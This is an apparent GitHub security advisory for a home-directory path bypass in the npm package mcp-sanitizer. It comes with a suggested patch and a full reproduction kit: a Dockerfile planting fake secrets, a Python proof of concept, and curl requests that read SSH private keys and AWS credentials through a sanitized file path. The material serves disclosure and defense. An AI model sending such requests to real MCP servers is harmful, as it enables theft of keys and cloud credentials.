mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
GHSA-7w82-6f9j-v9jp · 갱신 2026. 10. 29.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | mcp-sanitizer | 1.4.0 |
GHSA-7w82-6f9j-v9jp · 갱신 2026. 10. 29.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | mcp-sanitizer | 1.4.0 |
The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.
The full data flow from a network request to the vulnerable return value is:
src/middleware/express.js:538-541 — The Express middleware routes file_reader/file_writer tool parameters to sanitizer.sanitize(params.file_path, { type: 'file_path' }).src/sanitizer/mcp-sanitizer.js:523-524 — When context.type === 'file_path', _secureSanitizeFilePath() is called.src/sanitizer/mcp-sanitizer.js:683-687 — validateFilePath() is invoked; if it does not throw, the normalized path is returned as the sanitized value.src/utils/validation-utils.js:188-196 — The /home/ prefix check passes without error.src/utils/validation-utils.js:200-201 — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.
Suggested patch:
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+ const sensitiveHomeFragments = [
+ '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+ '/.npmrc', '/.env'
+ ];
@@
+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+ if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+ throw new Error('Access to sensitive user configuration path not allowed');
+ }
@@
- const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+ const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];
Environment requirements: Docker, Python 3, Node.js 20
Step 1 — Build and start the reproduction container:
# From the vuln-002/ directory
python3 poc.py
The script automatically:
mcp-sanitizer source into a Docker build context./home/victim/.ssh/id_rsa and /home/victim/.aws/credentials inside the container.server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path.Step 2 — Manual HTTP requests (after the container is running on port 13572):
Control test — must be blocked:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}
Exploit test 1 — SSH private key exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}
Exploit test 2 — AWS credentials exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}
Observed results (Phase 2 dynamic reproduction):
[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
=> blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)
[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
=> blocked=false, EXPLOIT_SUCCESS=true
sanitized_path: /home/victim/.ssh/id_rsa
file_content:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
-----END RSA PRIVATE KEY-----
[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}
=> blocked=false, EXPLOIT_SUCCESS=true
file_content:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-east-1
Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.
This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.
Any application that integrates mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.
Sensitive targets include but are not limited to:
~/.ssh/id_rsa, ~/.ssh/id_ed25519)~/.aws/credentials, ~/.config/gcloud/credentials.db)~/.kube/config)~/.gnupg/)~/.npmrc, ~/.netrc, ~/.env)The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.
Dockerfile# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass
# Builds a Node 20 container with:
# - mcp-sanitizer source from the local repo
# - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/
# - A consumer HTTP server that trusts the sanitizer
FROM node:20-slim
LABEL vuln="VULN-002" \
cwe="CWE-22" \
title="mcp-sanitizer home-directory path bypass"
# Install mcp-sanitizer production dependencies
WORKDIR /app/repo
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --omit=dev --no-audit --no-fund
# Copy mcp-sanitizer source code
COPY repo/src ./src
# Create simulated victim home directory with sensitive files
# These represent secrets a real attacker would target
RUN mkdir -p /home/victim/.ssh /home/victim/.aws
RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/id_rsa && \
echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/id_rsa && \
echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002' >> /home/victim/.ssh/id_rsa && \
echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS' >> /home/victim/.ssh/id_rsa && \
echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/id_rsa && \
chmod 600 /home/victim/.ssh/id_rsa
RUN echo '[default]' > /home/victim/.aws/credentials && \
echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \
echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \
echo 'region = us-east-1' >> /home/victim/.aws/credentials && \
chmod 600 /home/victim/.aws/credentials
# Copy the consumer server application
WORKDIR /app
COPY server.js ./server.js
EXPOSE 3000
CMD ["node", "server.js"]
poc.py#!/usr/bin/env python3
"""
VULN-002 Dynamic Reproduction PoC
mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)
Vulnerability:
src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/'
as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes
sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer
app reads the file using the trusted sanitized path.
Attack chain:
1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa
2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'}
3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer
4. SSH private key contents returned in HTTP response (exfiltrated)
Usage:
python3 poc.py
"""
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import urllib.request
import urllib.error
# Paths
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo"))
PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json")
# Docker settings
IMAGE_NAME = "vuln002-mcp-sanitizer-poc"
CONTAINER_NAME = "vuln002-poc-container"
HOST_PORT = 13572 # High port to avoid conflicts
BASE_URL = f"http://127.0.0.1:{HOST_PORT}"
TOOL_URL = f"{BASE_URL}/tool"
HEALTH_URL = f"{BASE_URL}/health"
def log(msg):
print(f"[poc] {msg}", flush=True)
def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_cmd,
"run_command": run_cmd,
"poc_command": "python3 poc.py",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "server.js"]
}
with open(PHASE2_RESULT, "w", encoding="utf-8") as f:
json.dump(result, f, indent=2, ensure_ascii=False)
log(f"Saved phase2_result.json (verdict={verdict})")
def run(cmd, timeout=300, capture=True):
"""Run a subprocess command and return (returncode, stdout, stderr)."""
result = subprocess.run(
cmd, capture_output=capture, text=True, timeout=timeout
)
return result.returncode, result.stdout, result.stderr
def stop_container():
subprocess.run(
["docker", "rm", "-f", CONTAINER_NAME],
capture_output=True, timeout=15
)
def http_post(url, payload, timeout=8):
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
url, data=data,
headers={"Content-Type": "application/json"},
method="POST"
)
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def http_get(url, timeout=5):
with urllib.request.urlopen(url, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def wait_for_server(max_wait=40):
log(f"Polling {HEALTH_URL} until ready (max {max_wait}s)...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
try:
resp = http_get(HEALTH_URL)
if resp.get("ok"):
log("Server is up and responding.")
return True
except Exception:
pass
time.sleep(0.6)
return False
def prepare_build_context():
"""
Create a temporary Docker build context containing:
build_ctx/
Dockerfile
server.js
repo/
package.json
package-lock.json
src/
"""
build_ctx = tempfile.mkdtemp(prefix="vuln002-ctx-")
log(f"Build context directory: {build_ctx}")
# Copy Dockerfile and server.js from this script's directory
for fname in ("Dockerfile", "server.js"):
src = os.path.join(SCRIPT_DIR, fname)
dst = os.path.join(build_ctx, fname)
shutil.copy2(src, dst)
log(f" Copied {fname}")
# Copy only the necessary repo files (skip node_modules to keep context small)
repo_dst = os.path.join(build_ctx, "repo")
os.makedirs(repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package.json"), repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package-lock.json"), repo_dst)
shutil.copytree(
os.path.join(REPO_DIR, "src"),
os.path.join(repo_dst, "src")
)
log(f" Copied repo/src and package files")
return build_ctx
def main():
log("=" * 60)
log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/* bypass")
log("=" * 60)
# Validate prerequisites
if not os.path.isdir(REPO_DIR):
log(f"ERROR: Repo not found at {REPO_DIR}")
save_result(False, "FAIL",
f"재현 전제조건 미충족: repo 디렉터리({REPO_DIR})가 존재하지 않음.",
"", "", "")
return 1
rc, _, _ = run(["docker", "info"], timeout=10)
if rc != 0:
log("ERROR: Docker daemon is not accessible.")
save_result(False, "FAIL",
"Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.",
"", "", "")
return 1
# Clean up any leftover container from a previous run
stop_container()
build_ctx = None
try:
# Step 1: Prepare build context
build_ctx = prepare_build_context()
# Step 2: Build Docker image
build_cmd = f"docker build -t {IMAGE_NAME} {build_ctx}"
log(f"Building Docker image: {build_cmd}")
rc, stdout, stderr = run(
["docker", "build", "-t", IMAGE_NAME, build_ctx],
timeout=300
)
if rc != 0:
err_tail = (stdout + stderr)[-600:]
log(f"Docker build FAILED (rc={rc}):\n{err_tail}")
save_result(False, "FAIL",
f"Docker 이미지 빌드 실패 (exit code {rc}). "
f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. "
f"마지막 출력: {err_tail[-200:]}",
err_tail,
build_cmd,
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
return 1
log("Docker image built successfully.")
# Step 3: Run container in detached mode
run_cmd = f"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}"
log(f"Starting container: {run_cmd}")
rc, stdout, stderr = run(
["docker", "run", "--rm", "--name", CONTAINER_NAME,
"-p", f"{HOST_PORT}:3000", "-d", IMAGE_NAME],
timeout=30
)
if rc != 0:
log(f"docker run FAILED:\n{stderr}")
save_result(False, "FAIL",
f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}",
stderr[-300:],
build_cmd, run_cmd)
return 1
container_id = stdout.strip()
log(f"Container started: {container_id[:12]}")
# Step 4: Wait for HTTP server inside container
if not wait_for_server():
# Collect container logs for diagnosis
_, clog, _ = run(["docker", "logs", CONTAINER_NAME], timeout=10)
log(f"Container logs:\n{clog}")
save_result(False, "FAIL",
f"서버가 {HOST_PORT} 포트에서 제한 시간 내 응답하지 않음. "
f"컨테이너 로그: {clog[-300:]}",
clog[-300:],
build_cmd, run_cmd)
stop_container()
return 1
# ----------------------------------------------------------------
# Step 5: Test 1 — Control: /etc/passwd must be BLOCKED
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 1 (control): file_path=/etc/passwd [expected: blocked=true]")
try:
r_ctrl = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/etc/passwd"}
})
except Exception as exc:
r_ctrl = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_ctrl)[:300]}")
ctrl_blocked = r_ctrl.get("blocked", False)
# ----------------------------------------------------------------
# Step 6: Test 2 — Exploit: /home/victim/.ssh/id_rsa must PASS
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa [expected: blocked=false + file content]")
try:
r_ssh = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.ssh/id_rsa"}
})
except Exception as exc:
r_ssh = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_ssh)[:400]}")
# ----------------------------------------------------------------
# Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 3 (exploit): file_path=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]")
try:
r_aws = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.aws/credentials"}
})
except Exception as exc:
r_aws = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_aws)[:400]}")
# ----------------------------------------------------------------
# Step 8: Evaluate results
# ----------------------------------------------------------------
log("-" * 50)
log("Evaluating results...")
ssh_bypassed = (
not r_ssh.get("blocked", True) and
r_ssh.get("EXPLOIT_SUCCESS") is True and
"id_rsa" in r_ssh.get("sanitized_path", "") and
bool(r_ssh.get("file_content")) and
"RSA" in r_ssh.get("file_content", "")
)
aws_bypassed = (
not r_aws.get("blocked", True) and
r_aws.get("EXPLOIT_SUCCESS") is True and
"credentials" in r_aws.get("sanitized_path", "") and
bool(r_aws.get("file_content")) and
"aws_access_key_id" in r_aws.get("file_content", "")
)
log(f" [control] /etc/passwd blocked={ctrl_blocked}")
log(f" [exploit] SSH key bypass={ssh_bypassed}")
log(f" [exploit] AWS creds bypass={aws_bypassed}")
# PASS requires: control is blocked AND at least SSH bypass confirmed
if ctrl_blocked and ssh_bypassed:
ssh_content = r_ssh.get("file_content", "")
aws_content = r_aws.get("file_content", "")
evidence = (
f"[Test 1 — Control] POST /tool {{file_path: '/etc/passwd'}} "
f"=> blocked=true (dangerousUnixPaths가 /etc/를 올바르게 차단)\n\n"
f"[Test 2 — Exploit] POST /tool {{file_path: '/home/victim/.ssh/id_rsa'}} "
f"=> blocked=false, EXPLOIT_SUCCESS=true\n"
f" sanitized_path: {r_ssh.get('sanitized_path')}\n"
f" file_content (truncated):\n"
f" {ssh_content[:300]}\n\n"
f"[Test 3 — Exploit] POST /tool {{file_path: '/home/victim/.aws/credentials'}} "
f"=> blocked={r_aws.get('blocked', True)}, "
f"EXPLOIT_SUCCESS={r_aws.get('EXPLOIT_SUCCESS')}\n"
f" file_content: {aws_content[:200]}\n\n"
f"[Root Cause] validation-utils.js:190 — "
f"allowedAbsolutePaths includes '/home/' and '/Users/': "
f"any absolute path starting with /home/ passes with blocked=false."
)
reason = (
"/home/ prefix가 allowedAbsolutePaths 화이트리스트에 포함되어 있어 "
"/home/victim/.ssh/id_rsa 경로가 sanitizer.sanitize()에서 blocked=false로 반환됨. "
"소비 앱이 해당 경로로 fs.readFile을 호출하여 SSH 개인키 내용이 HTTP 응답으로 유출됨. "
"CWE-22 경로 제한 우회 취약점 동적 재현 완료 (컨테이너 내 관측 가능한 파일 유출 확인)."
)
save_result(
True, "PASS", reason, evidence,
f"docker build -t {IMAGE_NAME} <build_ctx>",
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}"
)
log("=== FINAL VERDICT: PASS ===")
return 0
else:
# Record failure details
evidence = (
f"[Test 1] ctrl response: {json.dumps(r_ctrl)[:300]}\n"
f"[Test 2] ssh response: {json.dumps(r_ssh)[:300]}\n"
f"[Test 3] aws response: {json.dumps(r_aws)[:300]}\n"
f"ctrl_blocked={ctrl_blocked}, ssh_bypassed={ssh_bypassed}, aws_bypassed={aws_bypassed}"
)
if not ctrl_blocked:
# Unexpected: /etc/passwd should be blocked
reason = (
"/etc/passwd 경로가 예상과 달리 차단되지 않았음. "
"서버 초기화 오류 또는 취약점 패치 가능성. 서버 로그를 확인하시오."
)
else:
reason = (
f"/home/victim/.ssh/id_rsa bypass 미확인 (ssh_bypassed={ssh_bypassed}). "
f"응답: {json.dumps(r_ssh)[:200]}. "
"서버 응답 구조 또는 파일 생성 확인 필요. "
"container 내 /home/victim/.ssh/id_rsa 파일 존재 여부를 "
"'docker exec <container> cat /home/victim/.ssh/id_rsa'로 확인하시오."
)
save_result(False, "FAIL", reason, evidence,
f"docker build -t {IMAGE_NAME} <build_ctx>",
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
log("=== FINAL VERDICT: FAIL ===")
return 1
except KeyboardInterrupt:
log("Interrupted by user.")
return 1
except Exception as exc:
import traceback
tb = traceback.format_exc()
log(f"Unexpected error: {exc}\n{tb}")
save_result(False, "INCOMPLETE",
f"예상치 못한 오류 발생: {exc}. "
"traceback을 확인하고 Docker 환경 및 repo 경로를 점검하시오.",
tb[-600:], "", "")
return 1
finally:
stop_container()
if build_ctx and os.path.isdir(build_ctx):
shutil.rmtree(build_ctx, ignore_errors=True)
log(f"Cleaned up build context: {build_ctx}")
if __name__ == "__main__":
sys.exit(main())